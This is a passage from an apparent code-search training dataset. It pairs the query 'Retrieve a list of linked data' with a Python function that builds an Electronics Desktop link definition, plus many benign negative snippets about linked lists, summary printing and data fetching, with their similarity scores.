[self.get_seller_name(id),self.get_number_of_sales(id),\\n self.get_total_of_saleman(id)]\\n table.append(table_id)\\n data_table = AsciiTable(table)\\n print(data_table.table)\",\n \"def show_all_information(self):\\n return self.__dict__\\n # print(self.first_name)\\n # print(self.last_name)\\n # print(self.age)\\n # print(self.name)\\n # print(self.gender)\\n # print(self.number_of_children)\",\n \"def get_brands_summary():\\n\\n # get all brands\\n brands = Brand.query.all()\\n\\n # iterate through brands, take their models using relationship\\n for b in brands:\\n print b.name + \\\":\\\"\\n for m in b.models:\\n print \\\"\\\\t\\\" + m.name, m.year\",\n \"def display(self):\\n print \\\"\\\\n\\\\n***********************\\\\n\\\"\\n print \\\"Info about group %s, name=%s, path=%s\\\" % (self.sdef['id'], \\n self.name, self.path)\\n print \\\"sdef=\\\"\\n pp.pprint(self.sdef)\\n print \\\"expanded_def=\\\"\\n pp.pprint (self.expanded_def)\\n print \\\"includes=\\\"\\n pp.pprint (self.includes)\\n print \\\"parent_attributes=\\\"\\n pp.pprint (self.parent_attributes)\\n print \\\"attributes=\\\"\\n pp.pprint (self.attributes)\\n print \\\"mstats=\\\"\\n pp.pprint (self.mstats)\",\n \"def _wr_3fmt_goeaobj(goea_results, goeaobj, wr_params, log):\\n # List of all fields, printable or not, available from GOEnrichmentRecord\\n log.write(\\\"\\\\nGOEnrichmentRecord FIELDS: {F}\\\\n\\\".format(F=\\\" \\\".join(goea_results[0].get_prtflds_all())))\\n # Use the subset of namedtuple fields_names that are listed in the format string:\\n # Same format: print to screen and print to file:\\n goeaobj.prt_txt(log, goea_results, **wr_params) # Print to screen\\n goeaobj.wr_txt(\\\"nbt3102_subset_obj.txt\\\", goea_results, **wr_params)\\n # Print to Excel Spreadsheet\\n title=\\\"Print subset of fields from GOEnrichmentRecord\\\"\\n goeaobj.wr_xlsx(\\\"nbt3102_subset_obj.xlsx\\\", goea_results, title=title, **wr_params)\\n # Print to tab-separated file\\n goeaobj.wr_tsv(\\\"nbt3102_subset_obj.tsv\\\", goea_results, **wr_params)\",\n \"def present_summary(services, methods, count, backup):\\n print_heading(\\\"Summary\\\")\\n if backup is not None:\\n writer(f\\\"Backup: {backup}\\\")\\n writer(f\\\"Showing {count[0]}/{len(services)} Services\\\")\\n writer(f\\\"Showing {count[1]}/{len(methods)} Methods\\\\n\\\")\",\n \"def fields(self):\\r\\n return self._by_name.iteritems()\",\n \"def summaries(self):\\n return self._summaries\",\n \"def pretty_print(self):\\n pt = PrettyTable()\\n for i in self.files_summary:\\n pt.field_names = [\\\"File Name\\\", \\\"Classes\\\", \\\"Functions\\\", \\\"Lines\\\", \\\"Characters\\\"]\\n pt.add_row(list([i, self.files_summary[i][\\\"class\\\"], self.files_summary[i][\\\"function\\\"], self.files_summary[i][\\\"line\\\"], self.files_summary[i][\\\"char\\\"]]))\\n print(pt) #Using a Print statement here because i tried to return self.pt and it didnt give me anything but the print works\",\n \"def export_getTransformationSummary( self ):\\n res = database.getTransformations()\\n if not res['OK']:\\n return self._parseRes( res )\\n transList = res['Value']\\n resultDict = {}\\n for transDict in transList:\\n transID = transDict['TransformationID']\\n res = database.getTransformationTaskStats( transID )\\n if not res['OK']:\\n gLogger.warn( 'Failed to get job statistics for transformation %d' % transID )\\n continue\\n transDict['JobStats'] = res['Value']\\n res = database.getTransformationStats( transID )\\n if not res['OK']:\\n transDict['NumberOfFiles'] = -1\\n else:\\n transDict['NumberOfFiles'] = res['Value']['Total']\\n resultDict[transID] = transDict\\n return S_OK( resultDict )\",\n \"def _PrintFunc(self, obj=None, verbose=False, summarize=True, recursive=False,\\n use_pager=None, to_file=None):\\n if obj is not None:\\n self._printed_variables.append(obj)\\n lines = describe.GenerateLines(\\n obj, verbose=verbose, recursive=recursive, summarize=summarize,\\n format_name='text')\\n _WriteToStream(lines, use_pager=use_pager, to_file=to_file)\",\n \"def pretty_print(self) -> PrettyTable:\\n table_contain: PrettyTable = PrettyTable()\\n table_contain.field_names = [\\n \\\"File Name\\\", \\\"Classes\\\", \\\"Functions\\\", \\\"Lines\\\", \\\"Characters\\\"]\\n for key, value in self.files_summary.items():\\n table_contain.add_row([key] + list(value.values()))\\n\\n return table_contain\",\n \"def read_all():\\n # Create the list of example_objects from our data\\n example_objects = ExampleObject.query.order_by(ExampleObject.field2).all()\\n\\n # Serialize the data for the response\\n example_object_schema = ExampleObjectSchema(many=True)\\n data = example_object_schema.dump(example_objects)\\n return data\",\n \"def _print_summary(case, summary):\\n for dof, data in summary.items():\\n b4b = data[\\\"Bit for Bit\\\"]\\n conf = data[\\\"Configurations\\\"]\\n stdout = data[\\\"Std. Out Files\\\"]\\n print(\\\" \\\" + case + \\\" \\\" + str(dof))\\n print(\\\" --------------------\\\")\\n print(\\\" Bit for bit matches : \\\" + str(b4b[0]) + \\\" of \\\" + str(b4b[1]))\\n print(\\\" Configuration matches : \\\" + str(conf[0]) + \\\" of \\\" + str(conf[1]))\\n print(\\\" Std. Out files parsed : \\\" + str(stdout))\\n print(\\\"\\\")\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.63015485","0.6184842","0.6170315","0.61438155","0.6115484","0.6029715","0.6003916","0.6003916","0.59255403","0.5897459","0.5885808","0.58348954","0.58295274","0.58198684","0.58078593","0.5788792","0.5775526","0.5759068","0.5753282","0.57292354","0.5721642","0.5720015","0.5718867","0.5715038","0.56566983","0.5625214","0.5620705","0.56199074","0.5608856","0.5594986","0.55828446","0.5576743","0.5560699","0.55597895","0.55237156","0.55095226","0.54995114","0.5498499","0.54475695","0.54339135","0.53987294","0.53910303","0.5382666","0.5382449","0.53791916","0.53714854","0.5361725","0.5358108","0.5358051","0.5345702","0.53435296","0.53378785","0.53323686","0.53023803","0.5297698","0.5285922","0.5282642","0.52758306","0.52752817","0.52747655","0.52746356","0.52688205","0.5252371","0.52500474","0.524549","0.5243615","0.52431846","0.52270645","0.521386","0.5213719","0.5201432","0.519753","0.51974404","0.51961344","0.51875186","0.5182321","0.5161957","0.5155068","0.5154836","0.5153249","0.5146728","0.51449066","0.5135195","0.5128938","0.51275206","0.51197404","0.51196414","0.5108521","0.5101903","0.50992334","0.50989443","0.5092774","0.509195","0.50909686","0.5086056","0.5085645","0.50850236","0.5082567","0.50811756","0.5081124"],"string":"[\n \"0.63015485\",\n \"0.6184842\",\n \"0.6170315\",\n \"0.61438155\",\n \"0.6115484\",\n \"0.6029715\",\n \"0.6003916\",\n \"0.6003916\",\n \"0.59255403\",\n \"0.5897459\",\n \"0.5885808\",\n \"0.58348954\",\n \"0.58295274\",\n \"0.58198684\",\n \"0.58078593\",\n \"0.5788792\",\n \"0.5775526\",\n \"0.5759068\",\n \"0.5753282\",\n \"0.57292354\",\n \"0.5721642\",\n \"0.5720015\",\n \"0.5718867\",\n \"0.5715038\",\n \"0.56566983\",\n \"0.5625214\",\n \"0.5620705\",\n \"0.56199074\",\n \"0.5608856\",\n \"0.5594986\",\n \"0.55828446\",\n \"0.5576743\",\n \"0.5560699\",\n \"0.55597895\",\n \"0.55237156\",\n \"0.55095226\",\n \"0.54995114\",\n \"0.5498499\",\n \"0.54475695\",\n \"0.54339135\",\n \"0.53987294\",\n \"0.53910303\",\n \"0.5382666\",\n \"0.5382449\",\n \"0.53791916\",\n \"0.53714854\",\n \"0.5361725\",\n \"0.5358108\",\n \"0.5358051\",\n \"0.5345702\",\n \"0.53435296\",\n \"0.53378785\",\n \"0.53323686\",\n \"0.53023803\",\n \"0.5297698\",\n \"0.5285922\",\n \"0.5282642\",\n \"0.52758306\",\n \"0.52752817\",\n \"0.52747655\",\n \"0.52746356\",\n \"0.52688205\",\n \"0.5252371\",\n \"0.52500474\",\n \"0.524549\",\n \"0.5243615\",\n \"0.52431846\",\n \"0.52270645\",\n \"0.521386\",\n \"0.5213719\",\n \"0.5201432\",\n \"0.519753\",\n \"0.51974404\",\n \"0.51961344\",\n \"0.51875186\",\n \"0.5182321\",\n \"0.5161957\",\n \"0.5155068\",\n \"0.5154836\",\n \"0.5153249\",\n \"0.5146728\",\n \"0.51449066\",\n \"0.5135195\",\n \"0.5128938\",\n \"0.51275206\",\n \"0.51197404\",\n \"0.51196414\",\n \"0.5108521\",\n \"0.5101903\",\n \"0.50992334\",\n \"0.50989443\",\n \"0.5092774\",\n \"0.509195\",\n \"0.50909686\",\n \"0.5086056\",\n \"0.5085645\",\n \"0.50850236\",\n \"0.5082567\",\n \"0.50811756\",\n \"0.5081124\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.61726904"},"document_rank":{"kind":"string","value":"2"}}},{"rowIdx":80080,"cells":{"query":{"kind":"string","value":"Retrieve a list of linked data."},"document":{"kind":"string","value":"def get_link_data(self, linkData):\n if linkData[0] is None:\n project_name = \"This Project*\"\n else:\n project_name = linkData[0].replace(\"\\\\\", \"/\")\n\n designName = linkData[1]\n hfssSolutionName = linkData[2]\n forceSourceSimEnabler = linkData[3]\n preserveSrcResEnabler = linkData[4]\n\n arg = [\n \"NAME:DefnLink\",\n \"Project:=\",\n project_name,\n \"Product:=\",\n \"ElectronicsDesktop\",\n \"Design:=\",\n designName,\n \"Soln:=\",\n hfssSolutionName,\n [\"NAME:Params\"],\n \"ForceSourceToSolve:=\",\n forceSourceSimEnabler,\n \"PreservePartnerSoln:=\",\n preserveSrcResEnabler,\n \"PathRelativeTo:=\",\n \"TargetProject\",\n ]\n\n return arg"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def display_content(self):\n list = []\n traverse = self.head\n\n if self.head == None:\n # print(\"Linked List is empty\")\n return\n\n while traverse.next != None:\n list.append(traverse.data)\n traverse = traverse.next\n\n list.append(traverse.data)\n return list","async def get(self) -> List[RowProxy]:","def items(self):\n items = []\n current = self.head\n while current != None:\n items.append(current.data)\n current = current.next\n return items","def fetch_list(self):\n\t\treturn self.fetch(self.list_url % ART_SERVER_HOST)","def display_content(self):\n list = []\n traverse = self.head\n\n if self.head == None:\n return\n\n while traverse.next != None:\n list.append(traverse.data)\n traverse = traverse.next\n\n list.append(traverse.data)\n return list","def _links_get(self, cr, uid, context=None):\n obj = self.pool.get('res.request.link')\n ids = obj.search(cr, uid, [])\n res = obj.read(cr, uid, ids, ['object', 'name'], context)\n return [(r['object'], r['name']) for r in res]","def to_list(self):\n _return = []\n pointer = self.first\n while pointer is not None:\n _return.append(pointer.data)\n pointer = pointer.next\n return _return","def getList(self):\n\treturn self.list","def get_list(self, *args, **kwargs):\n pass","def get_list(self, *args, **kwargs):\n pass","def data_list(self):\n # return [data_object, data_object, ...]\n return self._data_list","def get_data(self):\n data_i = sqlite3.connect('data::memory:', check_same_thread=False)\n data_cursor = data_i.cursor()\n data_cursor.execute('SELECT * FROM localdata')\n item = data_cursor.fetchall()\n data_i.commit()\n data_i.close()\n return self.generate_data_list(item)","def to_list(self):\n\n result = []\n\n temp = self.head\n while temp is not None:\n result.append(temp.data)\n temp = temp.next\n\n return result","def getListData(self):\n # by default no list is present\n return None","def fetch_data(self):","def getList(self):","def getList(self):","def list(self):\n return self.request(\"GET\")","def get(self):\r\n\t\treturn list(self)","def links(self):\n\t\treturn self.list_of_links","def list(self):\n return self._get_list()","def read(self):\n return list(self.pile_list)","def list(self):","def list():","def list():","def get_links(self):\n return (link for link in self.links)","def get(self):\r\n context = DataContext()\r\n build = linkBuilder(request.base_url)\r\n return [build(x) for x in context]","def getList(self):\n pass","def list(self):\n\t\treturn self.link_words","def get_all(self):\n self.data = list(self.data)\n return self.data","def get_links(self):\r\n return self.links","def getList(self):\n return self.list","def _get_list(\n session: \"Session\", url_tail: str, params: Optional[Dict[str, Any]] = None\n) -> List[Any]:\n response = _get(session, url_tail, params)\n return list(response.json())","def get_links(self):\n return self.__data['links']","def fetch_all(self):\n return list(iter(self))","def getList(self):\n return self.list_","def print_list(self):\n\n current = self.head\n\n while current is not None:\n print current.data\n current = current.next","def _list(self):\n raise NotImplementedError","def next(self) -> List[object]:\n ...","def listing(self):\r\n listing = LinkListing(self.builder_obj, show_nums = self.show_nums)\r\n return listing.listing()","def get(self, *args):\n return _libsbml.ListOf_get(self, *args)","def get_records(self):\n url = f\"{self.baseurl}\" + \"?limit=\" + RECORDS_PER_PAGE\n\n while True:\n log.debug(\"Retrieving from OpenCity URL %s\", url)\n response = urlopen(url).read()\n json_content = json.loads(response)\n\n url = json_content[\"next\"]\n\n objects = json_content[\"items\"]\n for res in objects:\n lid = res[\"id\"]\n ltitle = res[\"title\"]\n log.info(f'Found id:{lid} \"{ltitle}\"')\n yield res\n\n if url is None:\n break","def _fetch_data(self):\n pass","def get_data(self, url):\n return self.get(url).get('data', [])","def get_list():\n lid = request.args.get('id')\n rlist = ListsModel().read_list(\n lid=lid\n )\n response = jsonify(rlist)\n response.headers.add('Access-Control-Allow-Origin', '*')\n return response","def fetch_feed_list(self, **args):\n return self.fetch(\"/feedlist\", **args)","def list(self):\n url = self._resource_name\n return self._get(url)","def get_text_data_child_list(self):\n return self.address_list + self.urls","def link_to_list(link):\n \"*** YOUR CODE HERE ***\"\n if link is Link.empty:\n return []\n else:\n return [link.first] + link_to_list(link.rest)","def list(self, **kwargs):\n url_str = self.base_url + '?%s' % urlutils.urlencode(kwargs, True)\n newheaders = self.get_headers()\n resp, body = self.client.json_request('GET', url_str,\n headers=newheaders)\n if body:\n return body['elements']\n else:\n return body","def list(self, **kwargs):\n url_str = self.base_url + '?%s' % urlutils.urlencode(kwargs, True)\n newheaders = self.get_headers()\n resp, body = self.client.json_request('GET', url_str,\n headers=newheaders)\n if body:\n return body['elements']\n else:\n return body","def list(self, **kwargs):\n url_str = self.base_url + '?%s' % urlutils.urlencode(kwargs, True)\n newheaders = self.get_headers()\n resp, body = self.client.json_request('GET', url_str,\n headers=newheaders)\n if body:\n return body['elements']\n else:\n return body","def getlinklist(self):\n d = []\n try:\n con = hcpsdk.Connection(self.target, debuglevel=self.debuglevel)\n except Exception as e:\n raise hcpsdk.HcpsdkError(str(e))\n else:\n self.connect_time = con.connect_time\n try:\n r = con.GET('/mapi/services/replication/links')\n except Exception as e:\n d.append('Error: {}'.format(str(e)))\n else:\n if r.status == 200:\n # Good status, get and parse the Response\n x = r.read()\n self.service_time = con.service_time2\n root = Et.fromstring(x)\n for child in root:\n if child.tag == 'name':\n d.append(child.text)\n else:\n raise (hcpsdk.HcpsdkError('{} - {}'.format(r.status, r.reason)))\n finally:\n # noinspection PyUnboundLocalVariable\n con.close()\n\n return d","def list(self, path):\n req = self.session.get(self.url + path + '/list',\n verify=False)\n jdata = req.json()\n if jdata['status'] != 'ok':\n raise Exception(\"Failed to query list: \\n\" + req.text)\n\n return jdata['data']","def getList(self):\n\treturn self.sorted_list.getList()","def get_entries(self):\n return self._netdis.loxone.entries","def read(data):\n return Link(**data)","def get_data(self):","def get_list(self):\n a = []\n l = self\n while l.is_block():\n a.append(l.field(0))\n l = l.field(1)\n return a","def list(self):\n return self._list(self._path())","def data(self) -> List[T]:\n return self._data","def link_to_list(link):\n if link is Link.empty:\n return []\n lst = []\n while link is not Link.empty:\n lst.append(link.first)\n link = link.rest\n return lst","def fetch(self):\n # type: () -> List[List[Any]]\n if self._request.next_uri is None:\n self._finished = True\n return []\n response = self._request.get(self._request.next_uri)\n status = self._request.process(response)\n if status.columns:\n self._columns = status.columns\n self._stats.update(status.stats)\n if status.next_uri is None:\n self._finished = True\n return status.rows","def get_data_link(self, ctx, params):\n # ctx is the context object\n # return variables are: link\n #BEGIN get_data_link\n id_ = _get_id_from_object(params, 'linkid', required=True)\n _check_admin(\n self._user_lookup, ctx[_CTX_TOKEN], _AdminPermission.READ,\n # pretty annoying to test ctx.log_info is working, do it manually\n 'get_data_link', ctx.log_info)\n dl = self._samples.get_data_link_admin(id_)\n link = _links_to_dicts([dl])[0]\n #END get_data_link\n\n # At some point might do deeper type checking...\n if not isinstance(link, dict):\n raise ValueError('Method get_data_link return value ' +\n 'link is not type dict as required.')\n # return the results\n return [link]","def get_list(cm_response, **data):\n return cm_response","def read():\n # Create the list of tasks from our data\n tasks = TaskList.query.all()\n\n # Serialize the data for the response\n schema = TaskListSchema(many=True)\n data = schema.dump(tasks).data\n return data","def load(self, theList: DoubleLinkList):\n nextId = self.loadHeadId()\n while nextId:\n rec = self.db.selectById(self.tableName, nextId)\n theList.addNode(appendIt=True, nodeId=rec['nodeId'], childId=rec['childId'],\n label=rec['label'])\n nextId = rec['nextId']","def get_data_links_from_data(self, ctx, params):\n # ctx is the context object\n # return variables are: results\n #BEGIN get_data_links_from_data\n upa = _get_upa_from_object(params)\n dt = _get_datetime_from_epochmillseconds_in_object(params, 'effective_time')\n admin = _check_admin(\n self._user_lookup, ctx[_CTX_TOKEN], _AdminPermission.READ,\n # pretty annoying to test ctx.log_info is working, do it manually\n 'get_data_links_from_data', ctx.log_info, skip_check=not params.get('as_admin'))\n links, ts = self._samples.get_links_from_data(\n _UserID(ctx[_CTX_USER]), upa, dt, as_admin=admin)\n results = {'links': _links_to_dicts(links),\n 'effective_time': _datetime_to_epochmilliseconds(ts)\n }\n #END get_data_links_from_data\n\n # At some point might do deeper type checking...\n if not isinstance(results, dict):\n raise ValueError('Method get_data_links_from_data return value ' +\n 'results is not type dict as required.')\n # return the results\n return [results]","def copy_list(self):\n if self.head:\n LIST_COPY = CircularLinkedList()\n current = self.head\n while True:\n\tLIST_COPY.append(current.data)\n\tcurrent = current.next\n\tif current == self.head:\n\t break\n return LIST_COPY\n else:\n return CircularLinkedList()","def get_refs(self): \n for row in self._get_references_node():\n yield row.fetch_all_fields()","def get_image_links(data):\n painting_links = []\n\n print(data)\n\n for painting in data:\n painting_links.append(painting['image'])\n\n return painting_links","def readentries(self):\n return list(x for x in self)","def get_list(self, headers: Optional[dict] = None, status: int = 200,\n **kwargs: Any) -> List[dict]:\n r = self.perform_request('list', False, headers=headers,\n status=status, **kwargs)\n data = r.json()\n if self.pagination_schema:\n return data[self.page_result_key]\n else:\n return data","def getAllListPage():\n firstPage = city + '/line1'\n data = urlopen(firstPage).read().decode('gbk')\n urlList = getLineTypeList(data)\n urlList.append(firstPage)\n num = len(urlList)\n i = 0\n p = Pool(processes=4)\n pageData = p.map(readData, urlList)\n# manager = Manager()\n# pageData = manager.list()\n# while i < num:\n# procline = Process(target=readData, args=(urlList[i], pageData,))\n# procline.start()\n# procline.join()\n# i += 1\n return pageData","def get_all(self):\n return self.__fetcher.get_fetched()","def _get_list(self, url, params=None, method=\"GET\"):\n request_args = {'method': method, 'url': url}\n if params is not None:\n request_args['params'] = params\n\n return self._paginated_generator(request_args)","def get_list(self):\r\n return self.numbers","def get_all_link(self, dpid):\n\t\tpass","def __to_list__(self):\r\n out = []\r\n node = self.head\r\n while node:\r\n out.append(node.value)\r\n node = node.next\r\n return out","async def as_list(self):\n raise NotImplementedError(\"as_list makes no sense on changefeeds\")","def _datalist(self, r, widget, **attr):\n\n T = current.T\n\n widget_get = widget.get\n\n context = widget_get(\"context\")\n tablename = widget_get(\"tablename\")\n resource, context = self._resolve_context(r, tablename, context)\n\n # Config Options:\n # 1st choice: Widget\n # 2nd choice: get_config\n # 3rd choice: Default\n config = resource.get_config\n list_fields = widget_get(\"list_fields\",\n config(\"list_fields\", None))\n list_layout = widget_get(\"list_layout\",\n config(\"list_layout\", None))\n orderby = widget_get(\"orderby\",\n config(\"list_orderby\",\n config(\"orderby\",\n ~resource.table.created_on)))\n\n widget_filter = widget_get(\"filter\")\n if widget_filter:\n resource.add_filter(widget_filter)\n\n # Use the widget-index to create a unique ID\n list_id = \"profile-list-%s-%s\" % (tablename, widget[\"index\"])\n\n # Page size\n pagesize = widget_get(\"pagesize\", 4)\n representation = r.representation\n if representation == \"dl\":\n # Ajax-update\n get_vars = r.get_vars\n record_id = get_vars.get(\"record\", None)\n if record_id is not None:\n # Ajax-update of a single record\n resource.add_filter(FS(\"id\") == record_id)\n start, limit = 0, 1\n else:\n # Ajax-update of full page\n start = get_vars.get(\"start\", None)\n limit = get_vars.get(\"limit\", None)\n if limit is not None:\n try:\n start = int(start)\n limit = int(limit)\n except ValueError:\n start, limit = 0, pagesize\n else:\n start = None\n else:\n # Page-load\n start, limit = 0, pagesize\n\n # Ajax-delete items?\n if representation == \"dl\" and r.http in (\"DELETE\", \"POST\"):\n if \"delete\" in r.get_vars:\n return self._dl_ajax_delete(r, resource)\n else:\n r.error(405, current.ERROR.BAD_METHOD)\n\n # dataList\n datalist, numrows = resource.datalist(fields = list_fields,\n start = start,\n limit = limit,\n list_id = list_id,\n orderby = orderby,\n layout = list_layout,\n )\n # Render the list\n ajaxurl = r.url(vars={\"update\": widget[\"index\"]},\n representation=\"dl\")\n data = datalist.html(ajaxurl = ajaxurl,\n pagesize = pagesize,\n empty = P(ICON(\"folder-open-alt\"),\n BR(),\n get_crud_string(tablename,\n \"msg_no_match\"),\n _class = \"empty_card-holder\"\n ),\n )\n\n if representation == \"dl\":\n # This is an Ajax-request, so we don't need the wrapper\n current.response.view = \"plain.html\"\n return data\n\n # Interactive only below here\n label = widget_get(\"label\", \"\")\n # Activate if-required\n #if label and isinstance(label, str):\n if label:\n label = T(label)\n icon = widget_get(\"icon\", \"\")\n if icon:\n icon = ICON(icon)\n\n if pagesize and numrows > pagesize:\n # Button to display the rest of the records in a Modal\n more = numrows - pagesize\n get_vars_new = {}\n if context:\n filters = context.serialize_url(resource)\n for f in filters:\n get_vars_new[f] = filters[f]\n if widget_filter:\n filters = widget_filter.serialize_url(resource)\n for f in filters:\n get_vars_new[f] = filters[f]\n c, f = tablename.split(\"_\", 1)\n f = widget_get(\"function\", f)\n url = URL(c=c, f=f, args=[\"datalist.popup\"],\n vars=get_vars_new)\n more = DIV(A(BUTTON(\"%s (%s)\" % (T(\"see more\"), more),\n _class = \"btn btn-mini tiny button\",\n _type = \"button\",\n ),\n _class = \"s3_modal\",\n _href = url,\n _title = label,\n ),\n _class = \"more_profile\",\n )\n else:\n more = \"\"\n\n # Link for create-popup\n create_popup = self._create_popup(r,\n widget,\n list_id,\n resource,\n context,\n numrows)\n\n _class = self._lookup_class(r, widget)\n\n # Render the widget\n output = DIV(create_popup,\n H4(icon,\n label,\n _class = \"profile-sub-header\",\n ),\n DIV(data,\n more,\n _class = \"card-holder\",\n ),\n _class = _class,\n )\n\n return output","def get_list(self):\n\n i = 0\n for x in self.lists:\n _, _, tasks = x\n N = len(tasks) if tasks else 0\n if self.cursor >= i and self.cursor < i + N + 1:\n return x\n\n i += N + 1","def get_links(self):\r\n return self.__links","def link(first, rest):\n assert is_link(rest), \"rest must be a linked list.\"\n return [first, rest]","def link(first, rest):\n assert is_link(rest), 'rest must be a linked list.'\n return [first, rest]","def get_list(self):\n return self.__repository.get_all()","def list(self):\r\n return List(self)","def list(self):\r\n return List(self)","def list(self):\r\n return List(self)","def get(self):\n result = self.session.get(urljoin(self.base_url, self.directory))\n if result.ok:\n data = result.json()\n\n if self.raw:\n return data\n\n if not self.query[\"item\"]:\n return data[\"ids\"]\n else:\n if self.query[\"filter\"] == \"links\":\n return data[\"links\"]\n else:\n return data.get(\"entry\", None)\n else:\n raise RuntimeError(\"Malformed Request\")","def List(cls):\n return WordList.query().fetch_async()","def printlist(self):\n current_element = self.head\n items = []\n while current_element:\n items.append(current_element.value)\n current_element = current_element.next\n return items","def getlist(self, option):\n return getlist(self.name, option)","def as_list(self):\n l = []\n node = self.head\n while node:\n l.append(node.value)\n node = node.next\n return l","def getData(graph, request):\r\n results = list(graph.query(request))\r\n return results","def link(first, rest):\n assert is_link(rest), 'rest must be linked list.'\n return [first, rest]","def get(self):\n return self.datastore.read_all()","def fetch(self, n: int) -> t.List[Record]:\n self._buffer(n)\n return [\n self._record_buffer.popleft()\n for _ in range(min(n, len(self._record_buffer)))\n ]","def display(self):\r\n elems = [] #create a list of elements we've seen\r\n current_node = self.head\r\n while current_node.next!=None:\r\n current_node = current_node.next\r\n elems.append(current_node.data)\r\n print(elems)","def _get_links(self):\n with open(self.source, \"r\", encoding=\"utf-8\") as link_doc:\n return link_doc.readlines()","def listed_data(self, reader):\n result = []\n for line in reader:\n result.append(line)\n return result"],"string":"[\n \"def display_content(self):\\n list = []\\n traverse = self.head\\n\\n if self.head == None:\\n # print(\\\"Linked List is empty\\\")\\n return\\n\\n while traverse.next != None:\\n list.append(traverse.data)\\n traverse = traverse.next\\n\\n list.append(traverse.data)\\n return list\",\n \"async def get(self) -> List[RowProxy]:\",\n \"def items(self):\\n items = []\\n current = self.head\\n while current != None:\\n items.append(current.data)\\n current = current.next\\n return items\",\n \"def fetch_list(self):\\n\\t\\treturn self.fetch(self.list_url % ART_SERVER_HOST)\",\n \"def display_content(self):\\n list = []\\n traverse = self.head\\n\\n if self.head == None:\\n return\\n\\n while traverse.next != None:\\n list.append(traverse.data)\\n traverse = traverse.next\\n\\n list.append(traverse.data)\\n return list\",\n \"def _links_get(self, cr, uid, context=None):\\n obj = self.pool.get('res.request.link')\\n ids = obj.search(cr, uid, [])\\n res = obj.read(cr, uid, ids, ['object', 'name'], context)\\n return [(r['object'], r['name']) for r in res]\",\n \"def to_list(self):\\n _return = []\\n pointer = self.first\\n while pointer is not None:\\n _return.append(pointer.data)\\n pointer = pointer.next\\n return _return\",\n \"def getList(self):\\n\\treturn self.list\",\n \"def get_list(self, *args, **kwargs):\\n pass\",\n \"def get_list(self, *args, **kwargs):\\n pass\",\n \"def data_list(self):\\n # return [data_object, data_object, ...]\\n return self._data_list\",\n \"def get_data(self):\\n data_i = sqlite3.connect('data::memory:', check_same_thread=False)\\n data_cursor = data_i.cursor()\\n data_cursor.execute('SELECT * FROM localdata')\\n item = data_cursor.fetchall()\\n data_i.commit()\\n data_i.close()\\n return self.generate_data_list(item)\",\n \"def to_list(self):\\n\\n result = []\\n\\n temp = self.head\\n while temp is not None:\\n result.append(temp.data)\\n temp = temp.next\\n\\n return result\",\n \"def getListData(self):\\n # by default no list is present\\n return None\",\n \"def fetch_data(self):\",\n \"def getList(self):\",\n \"def getList(self):\",\n \"def list(self):\\n return self.request(\\\"GET\\\")\",\n \"def get(self):\\r\\n\\t\\treturn list(self)\",\n \"def links(self):\\n\\t\\treturn self.list_of_links\",\n \"def list(self):\\n return self._get_list()\",\n \"def read(self):\\n return list(self.pile_list)\",\n \"def list(self):\",\n \"def list():\",\n \"def list():\",\n \"def get_links(self):\\n return (link for link in self.links)\",\n \"def get(self):\\r\\n context = DataContext()\\r\\n build = linkBuilder(request.base_url)\\r\\n return [build(x) for x in context]\",\n \"def getList(self):\\n pass\",\n \"def list(self):\\n\\t\\treturn self.link_words\",\n \"def get_all(self):\\n self.data = list(self.data)\\n return self.data\",\n \"def get_links(self):\\r\\n return self.links\",\n \"def getList(self):\\n return self.list\",\n \"def _get_list(\\n session: \\\"Session\\\", url_tail: str, params: Optional[Dict[str, Any]] = None\\n) -> List[Any]:\\n response = _get(session, url_tail, params)\\n return list(response.json())\",\n \"def get_links(self):\\n return self.__data['links']\",\n \"def fetch_all(self):\\n return list(iter(self))\",\n \"def getList(self):\\n return self.list_\",\n \"def print_list(self):\\n\\n current = self.head\\n\\n while current is not None:\\n print current.data\\n current = current.next\",\n \"def _list(self):\\n raise NotImplementedError\",\n \"def next(self) -> List[object]:\\n ...\",\n \"def listing(self):\\r\\n listing = LinkListing(self.builder_obj, show_nums = self.show_nums)\\r\\n return listing.listing()\",\n \"def get(self, *args):\\n return _libsbml.ListOf_get(self, *args)\",\n \"def get_records(self):\\n url = f\\\"{self.baseurl}\\\" + \\\"?limit=\\\" + RECORDS_PER_PAGE\\n\\n while True:\\n log.debug(\\\"Retrieving from OpenCity URL %s\\\", url)\\n response = urlopen(url).read()\\n json_content = json.loads(response)\\n\\n url = json_content[\\\"next\\\"]\\n\\n objects = json_content[\\\"items\\\"]\\n for res in objects:\\n lid = res[\\\"id\\\"]\\n ltitle = res[\\\"title\\\"]\\n log.info(f'Found id:{lid} \\\"{ltitle}\\\"')\\n yield res\\n\\n if url is None:\\n break\",\n \"def _fetch_data(self):\\n pass\",\n \"def get_data(self, url):\\n return self.get(url).get('data', [])\",\n \"def get_list():\\n lid = request.args.get('id')\\n rlist = ListsModel().read_list(\\n lid=lid\\n )\\n response = jsonify(rlist)\\n response.headers.add('Access-Control-Allow-Origin', '*')\\n return response\",\n \"def fetch_feed_list(self, **args):\\n return self.fetch(\\\"/feedlist\\\", **args)\",\n \"def list(self):\\n url = self._resource_name\\n return self._get(url)\",\n \"def get_text_data_child_list(self):\\n return self.address_list + self.urls\",\n \"def link_to_list(link):\\n \\\"*** YOUR CODE HERE ***\\\"\\n if link is Link.empty:\\n return []\\n else:\\n return [link.first] + link_to_list(link.rest)\",\n \"def list(self, **kwargs):\\n url_str = self.base_url + '?%s' % urlutils.urlencode(kwargs, True)\\n newheaders = self.get_headers()\\n resp, body = self.client.json_request('GET', url_str,\\n headers=newheaders)\\n if body:\\n return body['elements']\\n else:\\n return body\",\n \"def list(self, **kwargs):\\n url_str = self.base_url + '?%s' % urlutils.urlencode(kwargs, True)\\n newheaders = self.get_headers()\\n resp, body = self.client.json_request('GET', url_str,\\n headers=newheaders)\\n if body:\\n return body['elements']\\n else:\\n return body\",\n \"def list(self, **kwargs):\\n url_str = self.base_url + '?%s' % urlutils.urlencode(kwargs, True)\\n newheaders = self.get_headers()\\n resp, body = self.client.json_request('GET', url_str,\\n headers=newheaders)\\n if body:\\n return body['elements']\\n else:\\n return body\",\n \"def getlinklist(self):\\n d = []\\n try:\\n con = hcpsdk.Connection(self.target, debuglevel=self.debuglevel)\\n except Exception as e:\\n raise hcpsdk.HcpsdkError(str(e))\\n 